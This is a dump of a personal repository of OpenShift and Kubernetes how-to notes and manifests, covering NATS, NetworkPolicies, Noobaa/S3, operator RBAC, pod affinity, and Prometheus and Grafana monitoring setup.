labels: 15 | name: nats-operator 16 | spec: 17 | serviceAccountName: nats-operator 18 | containers: 19 | - name: nats-operator 20 | image: connecteverything/nats-operator:0.7.2 21 | imagePullPolicy: IfNotPresent 22 | args: 23 | - nats-operator 24 | # Uncomment to perform a cluster-scoped deployment in supported versions. 25 | #- --feature-gates=ClusterScoped=true 26 | ports: 27 | - name: readyz 28 | containerPort: 8080 29 | env: 30 | - name: MY_POD_NAMESPACE 31 | valueFrom: 32 | fieldRef: 33 | fieldPath: metadata.namespace 34 | - name: MY_POD_NAME 35 | valueFrom: 36 | fieldRef: 37 | fieldPath: metadata.name 38 | readinessProbe: 39 | httpGet: 40 | path: /readyz 41 | port: readyz 42 | initialDelaySeconds: 15 43 | timeoutSeconds: 3 44 | -------------------------------------------------------------------------------- /nats/nats.md: -------------------------------------------------------------------------------- 1 | # Nats 2 | 3 | Nats is a CNCF pub/sub project, they are currently not avaliable as a operator on OLM/operatorhub.io but hopefully that will change soon. 4 | 5 | In the mean time i have written down my own getting started. 6 | 7 | ## Installing nats on k8s 8 | 9 | The current installation files wants you to use default namespace. Sadly that isn't something that works in the long run so I just wget them and edit them. 10 | If you don't feel like it you can use mine. 11 | Of course I don't promise to keep these updated in any way, it's always best to look directly at the [operator repo](https://github.com/nats-io/nats-operator). 12 | 13 | ```shell 14 | wget https://github.com/nats-io/nats-operator/releases/latest/download/00-prereqs.yaml 15 | wget https://github.com/nats-io/nats-operator/releases/latest/download/10-deployment.yaml 16 | ``` 17 | 18 | ### Install pre-req 19 | 20 | ```shell 21 | oc new-project nats 22 | oc apply -f 00-prereqs.yaml 23 | oc apply -f 10-deployment.yaml 24 | ``` 25 | 26 | ### Install nats cluster 27 | 28 | ```shell 29 | cat <: hej``` 76 | 77 | ### Publish msg 78 | 79 | ```go run nats-pub.go -s nats://: hej msg2``` 80 | -------------------------------------------------------------------------------- /networkpolicy/allow_ingress.yml: -------------------------------------------------------------------------------- 1 | kind: NetworkPolicy 2 | apiVersion: networking.k8s.io/v1 3 | metadata: 4 | name: allow-openshift-ingress 5 | namespace: BACKEND_NAMESPACE 6 | spec: 7 | podSelector: {} 8 | ingress: 9 | - from: 10 | - namespaceSelector: 11 | matchLabels: 12 | network.openshift.io/policy-group: ingress 13 | -------------------------------------------------------------------------------- /networkpolicy/allow_namespace.yml: -------------------------------------------------------------------------------- 1 | kind: NetworkPolicy 2 | apiVersion: networking.k8s.io/v1 3 | metadata: 4 | name: allow-same-namespace 5 | namespace: BACKEND_NAMESPACE 6 | spec: 7 | podSelector: 8 | policyTypes: 9 | - Ingress 10 | ingress: 11 | - from: 12 | - podSelector: {} -------------------------------------------------------------------------------- /networkpolicy/backend_to_db.yml: -------------------------------------------------------------------------------- 1 | kind: NetworkPolicy 2 | apiVersion: networking.k8s.io/v1 3 | metadata: 4 | name: deny-by-default 5 | namespace: DATABASE_NAMESPACE 6 | spec: 7 | podSelector: {} 8 | policyTypes: 9 | - Ingress 10 | --- 11 | kind: NetworkPolicy 12 | apiVersion: networking.k8s.io/v1 13 | metadata: 14 | name: allow-same-namespace 15 | namespace: DATABASE_NAMESPACE 16 | spec: 17 | podSelector: 18 | policyTypes: 19 | - Ingress 20 | ingress: 21 | - from: 22 | - podSelector: {} 23 | --- 24 | kind: NetworkPolicy 25 | apiVersion: networking.k8s.io/v1 26 | metadata: 27 | name: allow-backend-to-database 28 | namespace: DATABASE_NAMESPACE 29 | spec: 30 | podSelector: 31 | matchLabels: 32 | name: DATABASE_SERVICE_NAME 33 | ingress: 34 | - from: 35 | - namespaceSelector: 36 | matchLabels: 37 | name: BACKEND_NAMESPACE 38 | ports: 39 | - protocol: TCP 40 | port: 3306 41 | -------------------------------------------------------------------------------- /networkpolicy/deny_all.yml: -------------------------------------------------------------------------------- 1 | kind: NetworkPolicy 2 | apiVersion: networking.k8s.io/v1 3 | metadata: 4 | name: deny-by-default 5 | namespace: BACKEND_NAMESPACE 6 | spec: 7 | podSelector: {} 8 | policyTypes: 9 | - Ingress -------------------------------------------------------------------------------- /networkpolicy/networkpolicy.md: -------------------------------------------------------------------------------- 1 | # Network policy 2 | 3 | A good way to increase your secuirty is to set a networkpolicy that denys all communication then whitelist the things that you need. 4 | 5 | For more exampels check out: https://github.com/ahmetb/kubernetes-network-policy-recipes 6 | 7 | ## Base template for projects/ns 8 | 9 | Set up a base template that will get applied to all projects/namespaces that you have. 10 | 11 | Do the following... 12 | 13 | ## Allow communication between specific ns and pods 14 | 15 | Lets set up a basic use case. Communicate between two pods in two seperate namespaces, for example a backend to a database. 16 | 17 | Create two namespaces: 18 | 19 | ```yaml 20 | oc new-project DATABASE_NAMESPACE 21 | oc new-project BACKEND_NAMESPACE 22 | ``` 23 | 24 | Read through [backend_to_db.yml](backend_to_db.yml) 25 | 26 | ```oc create -f backend_to_db.yml``` 27 | 28 | Just as it sounds: 29 | 30 | - "deny-by-default" will remove all communications between pods in a ns 31 | - "allow-same-namespace" will allow communication between pods. 32 | - "allow-backend-to-database" will allow a pod in the backend namespace to talk to the database service in the db namespace. 33 | 34 | A general tip that i got when writing network policys is to make it as simple as possible. 35 | 36 | Sure we could define on pod level in the back that should be able to talk to the db service but this will create so many networkpolicys. So i would recomend doing it on namepsace level. 37 | 38 | To my knowladge there is currently no easy way to vizualice networkpolicy rules. If you do please create an issue/PR and provide that information :) 39 | -------------------------------------------------------------------------------- /ocs.md: -------------------------------------------------------------------------------- 1 | # OCS 2 | 3 | ## Noobaa 4 | 5 | ### Download from git or through rpm 6 | 7 | ``` shell 8 | subscription-manager repos --enable=rh-ocs-4-for-rhel-8-x86_64-rpms 9 | yum install mcg 10 | ``` 11 | 12 | wget https://github.com/noobaa/noobaa-operator/releases/download/v2.0.10/noobaa-linux-v2.0.10 13 | 14 | curl -s https://api.github.com/repos/noobaa/noobaa-operator/releases/latest | grep "linux" | cut -d : -f 2,3 | tr -d \" | wget -qi - ; mv noobaa-linux-* noobaa ; chmod +x noobaa; sudo mv noobaa /usr/bin/ 15 | 16 | ### Create your bucket 17 | 18 | noobaa obc create something -n openshift-storage 19 | 20 | When creating a noobba bucket you will see something like [noobaa_instrcutions.txt](noobaa_instrcutions.txt) 21 | 22 | ## s3 23 | 24 | I think there is two cli tools for s3. 25 | s3 and s3cmd described in the [ceph.md](ceph.md) file. 26 | 27 | ### Install s3 28 | 29 | There is multiple ways to do this. 30 | 31 | From epel: 32 | 33 | sudo yum install libs3-4.1-0.6.20190408git287e4be.el8.x86_64 34 | 35 | ### Sync a folder 36 | 37 | In my case it's called ocs 38 | 39 | s3 sync ocs s3://something-ec909d91-5794-4acd-ba49-53ec2e2c1f56/ 40 | 41 | ### List files 42 | 43 | s3 ls s3://something-ec909d91-5794-4acd-ba49-53ec2e2c1f56/ 44 | 45 | ## General admin 46 | 47 | ### Show master pod 48 | 49 | In OCS there is always a failover pod for the different resource management systems like the CNI. 50 | To be able to know where to look for logs you need to know which one is the master, perform: 51 | 52 | oc get leases 53 | 54 | ### CSINode 55 | 56 | oc get CSINode 57 | 58 | ### csidriver 59 | 60 | Rook creates the drivers 61 | 62 | oc get csidriver 63 | -------------------------------------------------------------------------------- /operator/operator.md: -------------------------------------------------------------------------------- 1 | # Operators 2 | 3 | There are great documentation on operators and the autogenerate function in operator-sdk is awsome. 4 | 5 | Rolebindings is a pain so i saved one of them for future reference. 6 | 7 | If you want to play with ansible operators a good resource is: 8 | https://github.com/redhat-gpte-devopsautomation/ansible-operator-roles 9 | -------------------------------------------------------------------------------- /operator/role.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: rbac.authorization.k8s.io/v1 2 | kind: Role 3 | metadata: 4 | name: gogs-operator 5 | rules: 6 | - apiGroups: 7 | - "" 8 | resources: 9 | - pods 10 | - services 11 | - services/finalizers 12 | - endpoints 13 | - persistentvolumeclaims 14 | - events 15 | - configmaps 16 | - secrets 17 | - serviceaccounts 18 | verbs: 19 | - 'get' 20 | - 'create' 21 | - 'update' 22 | - 'list' 23 | - 'watch' 24 | - 'patch' 25 | - apiGroups: 26 | - apps 27 | resources: 28 | - deployments 29 | - daemonsets 30 | - replicasets 31 | - statefulsets 32 | verbs: 33 | - 'get' 34 | - 'create' 35 | - 'update' 36 | - 'list' 37 | - 'watch' 38 | - 'patch' 39 | - apiGroups: 40 | - apps 41 | resourceNames: 42 | - gogs-operator 43 | resources: 44 | - deployments/finalizers 45 | verbs: 46 | - update 47 | - apiGroups: 48 | - "" 49 | resources: 50 | - pods 51 | verbs: 52 | - get 53 | - apiGroups: 54 | - apps 55 | resources: 56 | - replicasets 57 | - deployments 58 | verbs: 59 | - create 60 | - update 61 | - delete 62 | - get 63 | - list 64 | - watch 65 | - patch 66 | - apiGroups: 67 | - gpte.opentlc.com 68 | resources: 69 | - 'gogs' 70 | - 'gogs/status' 71 | verbs: 72 | - create 73 | - update 74 | - delete 75 | - get 76 | - list 77 | - watch 78 | - patch 79 | - apiGroups: 80 | - route.openshift.io 81 | resources: 82 | - 'routes' 83 | verbs: 84 | - create 85 | - update 86 | - delete 87 | - get 88 | - list 89 | - watch 90 | - patch 91 | -------------------------------------------------------------------------------- /operator/role_binding.yaml: -------------------------------------------------------------------------------- 1 | kind: RoleBinding 2 | apiVersion: rbac.authorization.k8s.io/v1 3 | metadata: 4 | name: gogs-operator 5 | subjects: 6 | - kind: ServiceAccount 7 | name: gogs-operator 8 | roleRef: 9 | kind: Role 10 | name: gogs-operator 11 | apiGroup: rbac.authorization.k8s.io 12 | -------------------------------------------------------------------------------- /podAffinity.md: -------------------------------------------------------------------------------- 1 | # Pod Affinity & Anti-affinity 2 | 3 | In some use cases it's good to have the same pods on the same nodes. 4 | To make the apps as fast as possible, for example in the case of a redis cache to a web server. 5 | 6 | ## Create ns and apps 7 | 8 | ```bash 9 | oc new-project scheduler 10 | oc new-app openshift/hello-openshift:v3.10 --name=cache -n scheduler 11 | oc new-app openshift/hello-openshift:v3.10 --name=webserver -n scheduler 12 | ``` 13 | 14 | ## Add AntiAffinity to cache 15 | 16 | Lets make sure our app dosen't get schedueld on the same server 17 | 18 | ```oc edit dc cache``` 19 | 20 | ```yaml 21 | spec: 22 | affinity: 23 | podAntiAffinity: 24 | preferredDuringSchedulingIgnoredDuringExecution: 25 | - weight: 100 26 | podAffinityTerm: 27 | labelSelector: 28 | matchExpressions: 29 | - key: app 30 | operator: In 31 | values: 32 | - cache 33 | topologyKey: kubernetes.io/hostname 34 | containers: 35 | ``` 36 | 37 | ## Add Affinity to webserver 38 | 39 | Put webserver on the same server as the cache. 40 | But not all of the web servers on the same node. 41 | 42 | ```oc edit dc webserver``` 43 | 44 | ```yaml 45 | spec: 46 | affinity: 47 | podAffinity: 48 | requiredDuringSchedulingIgnoredDuringExecution: 49 | - labelSelector: 50 | matchExpressions: 51 | - key: app 52 | operator: In 53 | values: 54 | - cache 55 | topologyKey: kubernetes.io/hostname 56 | podAntiAffinity: 57 | preferredDuringSchedulingIgnoredDuringExecution: 58 | - podAffinityTerm: 59 | labelSelector: 60 | matchExpressions: 61 | - key: app 62 | operator: In 63 | values: 64 | - webserver 65 | topologyKey: kubernetes.io/hostname 66 | weight: 100 67 | containers: 68 | ``` 69 | -------------------------------------------------------------------------------- /prometheus/cluster-monitoring-config.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: ConfigMap 3 | metadata: 4 | name: cluster-monitoring-config 5 | namespace: openshift-monitoring 6 | data: 7 | config.yaml: | 8 | techPreviewUserWorkload: 9 | enabled: true 10 | -------------------------------------------------------------------------------- /prometheus/grafana/grafana-dasboard-kuberhealthy.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: integreatly.org/v1alpha1 2 | kind: GrafanaDashboard 3 | metadata: 4 | name: kuberhealthy 5 | labels: 6 | app: grafana 7 | spec: 8 | name: kuberhealthy.json 9 | json: > 10 | { 11 | "annotations": { 12 | "list": [ 13 | { 14 | "builtIn": 1, 15 | "datasource": "-- Grafana --", 16 | "enable": true, 17 | "hide": true, 18 | "iconColor": "rgba(0, 211, 255, 1)", 19 | "name": "Annotations & Alerts", 20 | "type": "dashboard" 21 | } 22 | ] 23 | }, 24 | "editable": true, 25 | "gnetId": null, 26 | "graphTooltip": 0, 27 | "id": 1, 28 | "links": [], 29 | "panels": [ 30 | { 31 | "cacheTimeout": null, 32 | "colorBackground": true, 33 | "colorValue": false, 34 | "colors": [ 35 | "#d44a3a", 36 | "#d44a3a", 37 | "#299c46" 38 | ], 39 | "datasource": "prometheus", 40 | "format": "none", 41 | "gauge": { 42 | "maxValue": 100, 43 | "minValue": 0, 44 | "show": false, 45 | "thresholdLabels": false, 46 | "thresholdMarkers": true 47 | }, 48 | "gridPos": { 49 | "h": 9, 50 | "w": 6, 51 | "x": 0, 52 | "y": 0 53 | }, 54 | "id": 2, 55 | "interval": null, 56 | "links": [], 57 | "mappingType": 1, 58 | "mappingTypes": [ 59 | { 60 | "name": "value to text", 61 | "value": 1 62 | }, 63 | { 64 | "name": "range to text", 65 | "value": 2 66 | } 67 | ], 68 | "maxDataPoints": 100, 69 | "nullPointMode": "connected", 70 | "nullText": null, 71 | "options": {}, 72 | "postfix": "", 73 | "postfixFontSize": "50%", 74 | "prefix": "", 75 | "prefixFontSize": "50%", 76 | "rangeMaps": [ 77 | { 78 | "from": "null", 79 | "text": "N/A", 80 | "to": "null" 81 | } 82 | ], 83 | "sparkline": { 84 | "fillColor": "rgba(31, 118, 189, 0.18)", 85 | "full": false, 86 | "lineColor": "rgb(31, 120, 193)", 87 | "show": false 88 | }, 89 | "tableColumn": "", 90 | "targets": [ 91 | { 92 | "expr": "avg(kuberhealthy_running)", 93 | "format": "time_series", 94 | "intervalFactor": 1, 95 | "refId": "A" 96 | } 97 | ], 98 | "thresholds": "0,1", 99 | "title": "Kuberhealthy Running", 100 | "type": "singlestat", 101 | "valueFontSize": "80%", 102 | "valueMaps": [ 103 | { 104 | "op": "=", 105 | "text": "N/A", 106 | "value": "null" 107 | }, 108 | { 109 | "op": "=", 110 | "text": "Running", 111 | "value": "1" 112 | }, 113 | { 114 | "op": "=", 115 | "text": "Not Running", 116 | "value": "0" 117 | } 118 | ], 119 | "valueName": "avg" 120 | }, 121 | { 122 | "aliasColors": {}, 123 | "bars": false, 124 | "dashLength": 10, 125 | "dashes": false, 126 | "datasource": "prometheus", 127 | "fill": 1, 128 | "fillGradient": 0, 129 | "gridPos": { 130 | "h": 18, 131 | "w": 18, 132 | "x": 6, 133 | "y": 0 134 | }, 135 | "hiddenSeries": false, 136 | "id": 8, 137 | "legend": { 138 | "alignAsTable": true, 139 | "avg": false, 140 | "current": false, 141 | "max": false, 142 | "min": false, 143 | "rightSide": true, 144 | "show": true, 145 | "total": false, 146 | "values": false 147 | }, 148 | "lines": true, 149 | "linewidth": 1, 150 | "links": [], 151 | "nullPointMode": "null", 152 | "options": { 153 | "dataLinks": [] 154 | }, 155 | "percentage": false, 156 | "pointradius": 5, 157 | "points": false, 158 | "renderer": "flot", 159 | "seriesOverrides": [], 160 | "spaceLength": 10, 161 | "stack": false, 162 | "steppedLine": false, 163 | "targets": [ 164 | { 165 | "expr": "avg(kuberhealthy_check_duration_seconds{check=\"kuberhealthy/deployment\"})", 166 | "format": "time_series", 167 | "intervalFactor": 1, 168 | "legendFormat": "deployment seconds", 169 | "refId": "A" 170 | } 171 | ], 172 | "thresholds": [], 173 | "timeFrom": null, 174 | "timeRegions": [], 175 | "timeShift": null, 176 | "title": "Kuberhealthy Deployment check seconds", 177 | "tooltip": { 178 | "shared": true, 179 | "sort": 0, 180 | "value_type": "individual" 181 | }, 182 | "type": "graph", 183 | "xaxis": { 184 | "buckets": null, 185 | "mode": "time", 186 | "name": null, 187 | "show": true, 188 | "values": [] 189 | }, 190 | "yaxes": [ 191 | { 192 | "format": "short", 193 | "label": null, 194 | "logBase": 1, 195 | "max": null, 196 | "min": null, 197 | "show": true 198 | }, 199 | { 200 | "format": "short", 201 | "label": null, 202 | "logBase": 1, 203 | "max": null, 204 | "min": null, 205 | "show": true 206 | } 207 | ], 208 | "yaxis": { 209 | "align": false, 210 | "alignLevel": null 211 | } 212 | }, 213 | { 214 | "cacheTimeout": null, 215 | "colorBackground": true, 216 | "colorValue": false, 217 | "colors": [ 218 | "#d44a3a", 219 | "#d44a3a", 220 | "#299c46" 221 | ], 222 | "datasource": "prometheus", 223 | "format": "none", 224 | "gauge": { 225 | "maxValue": 100, 226 | "minValue": 0, 227 | "show": false, 228 | "thresholdLabels": false, 229 | "thresholdMarkers": true 230 | }, 231 | "gridPos": { 232 | "h": 9, 233 | "w": 6, 234 | "x": 0, 235 | "y": 9 236 | }, 237 | "id": 6, 238 | "interval": null, 239 | "links": [], 240 | "mappingType": 1, 241 | "mappingTypes": [ 242 | { 243 | "name": "value to text", 244 | "value": 1 245 | }, 246 | { 247 | "name": "range to text", 248 | "value": 2 249 | } 250 | ], 251 | "maxDataPoints": 100, 252 | "nullPointMode": "connected", 253 | "nullText": null, 254 | "options": {}, 255 | "postfix": "", 256 | "postfixFontSize": "50%", 257 | "prefix": "", 258 | "prefixFontSize": "50%", 259 | "rangeMaps": [ 260 | { 261 | "from": "null", 262 | "text": "N/A", 263 | "to": "null" 264 | } 265 | ], 266 | "sparkline": { 267 | "fillColor": "rgba(31, 118, 189, 0.18)", 268 | "full": false, 269 | "lineColor": "rgb(31, 120, 193)", 270 | "show": false 271 | }, 272 | "tableColumn": "", 273 | "targets": [ 274 | { 275 | "expr": "avg(kuberhealthy_cluster_state)", 276 | "format": "time_series", 277 | "intervalFactor": 1, 278 | "refId": "A" 279 | } 280 | ], 281 | "thresholds": "0,1", 282 | "title": "Cluster Health", 283 | "type": "singlestat", 284 | "valueFontSize": "80%", 285 | "valueMaps": [ 286 | { 287 | "op": "=", 288 | "text": "N/A", 289 | "value": "null" 290 | }, 291 | { 292 | "op": "=", 293 | "text": "Healthy", 294 | "value": "1" 295 | }, 296 | { 297 | "op": "=", 298 | "text": "Unhealthy", 299 | "value": "0" 300 | } 301 | ], 302 | "valueName": "avg" 303 | }, 304 | { 305 | "columns": [], 306 | "datasource": "prometheus", 307 | "fontSize": "100%", 308 | "gridPos": { 309 | "h": 6, 310 | "w": 24, 311 | "x": 0, 312 | "y": 18 313 | }, 314 | "id": 4, 315 | "links": [], 316 | "options": {}, 317 | "pageSize": null, 318 | "scroll": true, 319 | "showHeader": true, 320 | "sort": { 321 | "col": 0, 322 | "desc": true 323 | }, 324 | "styles": [ 325 | { 326 | "alias": "Time", 327 | "dateFormat": "YYYY-MM-DD HH:mm:ss", 328 | "pattern": "Time", 329 | "type": "date" 330 | }, 331 | { 332 | "alias": "", 333 | "colorMode": null, 334 | "colors": [ 335 | "rgba(245, 54, 54, 0.9)", 336 | "rgba(237, 129, 40, 0.89)", 337 | "rgba(50, 172, 45, 0.97)" 338 | ], 339 | "decimals": 2, 340 | "pattern": "/.*/", 341 | "thresholds": [], 342 | "type": "number", 343 | "unit": "short" 344 | } 345 | ], 346 | "targets": [ 347 | { 348 | "expr": "avg(kuberhealthy_check) by(check)", 349 | "format": "table", 350 | "intervalFactor": 1, 351 | "refId": "A" 352 | } 353 | ], 354 | "timeFrom": "14s", 355 | "title": "Kuberhealthy Check Status", 356 | "transform": "table", 357 | "type": "table" 358 | }, 359 | { 360 | "aliasColors": {}, 361 | "bars": false, 362 | "dashLength": 10, 363 | "dashes": false, 364 | "datasource": "prometheus", 365 | "description": "", 366 | "fill": 1, 367 | "fillGradient": 0, 368 | "gridPos": { 369 | "h": 14, 370 | "w": 24, 371 | "x": 0, 372 | "y": 24 373 | }, 374 | "hiddenSeries": false, 375 | "id": 10, 376 | "legend": { 377 | "alignAsTable": false, 378 | "avg": false, 379 | "current": false, 380 | "hideEmpty": false, 381 | "hideZero": false, 382 | "max": false, 383 | "min": false, 384 | "rightSide": false, 385 | "show": false, 386 | "total": false, 387 | "values": false 388 | }, 389 | "lines": true, 390 | "linewidth": 1, 391 | "links": [], 392 | "nullPointMode": "null", 393 | "options": { 394 | "dataLinks": [] 395 | }, 396 | "percentage": false, 397 | "pointradius": 5, 398 | "points": false, 399 | "renderer": "flot", 400 | "seriesOverrides": [], 401 | "spaceLength": 10, 402 | "stack": false, 403 | "steppedLine": false, 404 | "targets": [ 405 | { 406 | "expr": "1 - (sum(count_over_time(kuberhealthy_check{check=\"kuberhealthy/deployment\", status=\"0\"}[30d])) OR vector(0))/(sum(count_over_time(kuberhealthy_check{check=\"kuberhealthy/deployment\", status=\"1\"}[30d])) * 100)", 407 | "format": "time_series", 408 | "intervalFactor": 1, 409 | "refId": "A" 410 | } 411 | ], 412 | "thresholds": [], 413 | "timeFrom": null, 414 | "timeRegions": [], 415 | "timeShift": null, 416 | "title": "30d Moving Synthetic Deployment Uptime", 417 | "tooltip": { 418 | "shared": true, 419 | "sort": 0, 420 | "value_type": "individual" 421 | }, 422 | "type": "graph", 423 | "xaxis": { 424 | "buckets": null, 425 | "mode": "time", 426 | "name": null, 427 | "show": true, 428 | "values": [] 429 | }, 430 | "yaxes": [ 431 | { 432 | "decimals": null, 433 | "format": "percentunit", 434 | "label": null, 435 | "logBase": 1, 436 | "max": "1", 437 | "min": null, 438 | "show": true 439 | }, 440 | { 441 | "format": "short", 442 | "label": null, 443 | "logBase": 1, 444 | "max": null, 445 | "min": null, 446 | "show": false 447 | } 448 | ], 449 | "yaxis": { 450 | "align": false, 451 | "alignLevel": null 452 | } 453 | } 454 | ], 455 | "schemaVersion": 21, 456 | "style": "dark", 457 | "tags": [], 458 | "templating": { 459 | "list": [] 460 | }, 461 | "time": { 462 | "from": "now-6h", 463 | "to": "now" 464 | }, 465 | "timepicker": { 466 | "refresh_intervals": [ 467 | "5s", 468 | "10s", 469 | "30s", 470 | "1m", 471 | "5m", 472 | "15m", 473 | "30m", 474 | "1h", 475 | "2h", 476 | "1d" 477 | ], 478 | "time_options": [ 479 | "5m", 480 | "15m", 481 | "1h", 482 | "6h", 483 | "12h", 484 | "24h", 485 | "2d", 486 | "7d", 487 | "30d" 488 | ] 489 | }, 490 | "timezone": "browser", 491 | "title": "Kuberhealthy", 492 | "uid": "kuberhealthy", 493 | "version": 20 494 | } 495 | datasources: 496 | - inputName: "prometheus" 497 | datasourceName: "openshift-monitoring-datasource" 498 | -------------------------------------------------------------------------------- /prometheus/grafana/grafana-instance-template.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Template 3 | metadata: 4 | name: grafana-instance 5 | annotations: 6 | openshift.io/display-name: "Custom Grafana Instance" 7 | description: >- 8 | This template installs an instance of Grafana 9 | tags: "monitoring" 10 | iconClass: "fa fa-exchange" 11 | message: "Grafana instance is being installed to project ${PROJECT_NAME}" 12 | parameters: 13 | - description: The name of the project the operator will be installed to 14 | displayName: Name of project 15 | name: PROJECT_NAME 16 | value: debezium-monitoring 17 | required: true 18 | - description: The name of the admin user 19 | displayName: Admin username 20 | name: ADMIN_USER 21 | value: "admin" 22 | required: true 23 | - description: The password for the admin user 24 | displayName: Admin password 25 | name: ADMIN_PASSWORD 26 | value: "openshift" 27 | required: true 28 | - description: The name of grafana instance 29 | displayName: Grafana instance name 30 | name: GRAFANA_INSTANCE_NAME 31 | value: "grafana-debezium" 32 | required: true 33 | objects: 34 | - apiVersion: integreatly.org/v1alpha1 35 | kind: Grafana 36 | metadata: 37 | name: ${{GRAFANA_INSTANCE_NAME}} 38 | namespace: ${{PROJECT_NAME}} 39 | spec: 40 | ingress: 41 | enabled: true 42 | config: 43 | auth: 44 | disable_signout_menu: true 45 | auth.anonymous: 46 | enabled: true 47 | log: 48 | level: warn 49 | mode: console 50 | security: 51 | admin_password: ${{ADMIN_PASSWORD}} 52 | admin_user: ${{ADMIN_USER}} 53 | dashboardLabelSelector: 54 | - matchExpressions: 55 | - key: app 56 | operator: In 57 | values: 58 | - grafana 59 | -------------------------------------------------------------------------------- /prometheus/grafana/openshift-metrics-datasource-template.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Template 3 | metadata: 4 | name: grafana-operator 5 | annotations: 6 | openshift.io/display-name: "Grafana Datasource" 7 | description: >- 8 | Installs a datasource to call to central thanos querier in openshift missions 9 | tags: "monitoring" 10 | iconClass: "fa fa-exchange" 11 | message: "Data source being created ${PROJECT_NAME}" 12 | parameters: 13 | - description: The name of the project the operator will be installed to 14 | displayName: Name of project 15 | name: PROJECT_NAME 16 | value: debezium-monitoring 17 | required: true 18 | - description: The name of the datasource resource. This will be used to name the file on pod's disk and is necessary to match up with configmap 19 | displayName: Datasource Custom Resource Name 20 | name: DATASOURCE_CUSTOM_RESOURCE_NAME 21 | value: openshift-monitoring-datasource 22 | required: true 23 | - description: The name of the created datasource 24 | displayName: Datasource Name 25 | name: DATASOURCE_NAME 26 | value: prometheus 27 | required: true 28 | - description: The Token (for the sa with cluster-metrics-view privilege) that should be publish on the data source 29 | displayName: (Bearer) Token 30 | name: TOKEN 31 | required: true 32 | objects: 33 | - apiVersion: integreatly.org/v1alpha1 34 | kind: GrafanaDataSource 35 | metadata: 36 | name: ${DATASOURCE_CUSTOM_RESOURCE_NAME} 37 | namespace: ${PROJECT_NAME} 38 | spec: 39 | datasources: 40 | - access: proxy 41 | name: ${DATASOURCE_NAME} 42 | type: prometheus 43 | url: 'https://thanos-querier.openshift-monitoring.svc.cluster.local:9091' 44 | basicAuth: false 45 | withCredentials: false 46 | isDefault: true 47 | jsonData: 48 | timeInterval: 5s 49 | tlsSkipVerify: true 50 | httpHeaderName1: "Authorization" 51 | secureJsonData: 52 | httpHeaderValue1: "Bearer ${TOKEN}" 53 | editable: true 54 | # customQueryParameters: 55 | # - "namespace=openshift-monitoring" 56 | name: openshift-metrics-datasources.yaml 57 | - apiVersion: v1 58 | kind: ConfigMap 59 | metadata: 60 | name: grafana-datasources 61 | namespace: ${PROJECT_NAME} 62 | data: 63 | ${PROJECT_NAME}_${DATASOURCE_CUSTOM_RESOURCE_NAME}.yaml: | 64 | apiVersion: 1 65 | datasources: 66 | - access: proxy 67 | editable: true 68 | secureJsonData: 69 | httpHeaderValue1: >- 70 | Bearer 71 | ${TOKEN} 72 | name: ${DATASOURCE_NAME} 73 | url: 'https://thanos-querier.openshift-monitoring.svc.cluster.local:9091' 74 | jsonData: 75 | httpHeaderName1: Authorization 76 | timeInterval: 5s 77 | tlsSkipVerify: true 78 | withCredentials: false 79 | basicAuth: false 80 | isDefault: true 81 | type: prometheus 82 | -------------------------------------------------------------------------------- /prometheus/monitoring.md: -------------------------------------------------------------------------------- 1 | # Monitoring 2 | 3 | These instructions assume that you are running OCP 4.3 this will probably apply in OCP 4.4 as well but who knows... 4 | The initial configmap will probably have new config variabels. 5 | 6 | ## Using built in prometheus for application checks 7 | 8 | Who want's to take care of your own prometheus setup? I know i don't so lets use the built in one. 9 | In OCP 4.3 this is a tech preview and I don't know what this do to your support of your cluster. 10 | If you have conserns about that reach out to RedHat to get clarity. My guess is that the cluster will be supported but 11 | not this feature. 12 | 13 | For official [documentation](https://docs.openshift.com/container-platform/4.3/monitoring/monitoring-your-own-services.html) 14 | 15 | ```shell 16 | # Check the current config, might be dumb to overwrite it ^^ 17 | oc get -n openshift-monitoring cm cluster-monitoring-config -o yaml 18 | 19 | # Apply config if it looks okay 20 | oc apply -f cluster-monitoring-config.yaml 21 | ``` 22 | 23 | This will start an operator in the openshift-user-workload-monitoring namespace + two prometheus instances. 24 | I have no idea how to scale these if it's even possible in the techpreview 25 | and it's not documented due to it's current status. 26 | 27 | ```oc get pods -n openshift-user-workload-monitoring``` 28 | 29 | Now you are ready to monitor your own services. 30 | 31 | ### RBAC to edit prometheus 32 | 33 | If you want to enable your developers to be able to setup there own monitoring perform 34 | 35 | oc apply -f rbac-mon.yaml 36 | 37 | ### Exampel app 38 | 39 | Verify that your monitoring works, deploy a app in namepsace ns1 and create a scarper for it. 40 | 41 | ```shell 42 | oc apply -f random_prom.yaml 43 | oc apply -f service-monitor.yaml 44 | ``` 45 | 46 | Go in to the GUI enter developer mode -> advanced -> metrics -> pick ns1 as project 47 | 48 | In the prometheus query search for: 49 | 50 | http_requests_total{job="prometheus-example-app",code="200",method="get"} 51 | 52 | The graf is more fun if you hit the url a few times 53 | 54 | ```shell 55 | # Expose the app 56 | oc expose svc prometheus-example-app 57 | 58 | # Hit the endpoint 59 | curl $(oc get route prometheus-example-app -o jsonpath='{.spec.host}') 60 | 61 | # Show the metrics 62 | curl $(oc get route prometheus-example-app -o jsonpath='{.spec.host}')/metrics 63 | ``` 64 | 65 | ## Grafana 66 | 67 | First of all big cred to [C Hatmarch](https://github.com/hatmarch/cdc-and-debezium-demo) for explaning this. 68 | When it comes to Grafna I have stolen everything from him more or less. 69 | 70 | So prometheus is a gret tool but it's not built to show data in a nice way, in enters grafana. 71 | Currently we can't use the built in grafana for this and my guess is that it will take a long time for that to happen. 72 | 73 | Sadly our built in prometheus have rather limited configuration possabilities so we can't expose the prometheus 74 | to listen to any other port then 127.0.0.1. 75 | 76 | To workaround this we will use the Thanos querier, Thanos expose data between multiple prometheus instances and 77 | makes it possible to just use one grafana to monitor multiple clusters. 78 | 79 | There is an operator in operatorhub.io/olm maintained by RedHat but it's kind of an old version and to be able to 80 | use Thanos we need a newer version. 81 | 82 | ### Install Grafana operator 83 | 84 | Clone the upstream 85 | 86 | ```shell 87 | git clone https://github.com/integr8ly/grafana-operator.git 88 | cd grafana-operator 89 | # I tested with this revision and I know it works. 90 | # My recomendation is that you use master and adapt to the correct file names. 91 | git checkout e7b281959853a1857fefcb710d6d1fef483f15c0 92 | ``` 93 | 94 | #### Install the operator 95 | 96 | Assuming that you are in the grafana-operator repo 97 | 98 | ```shell 99 | export 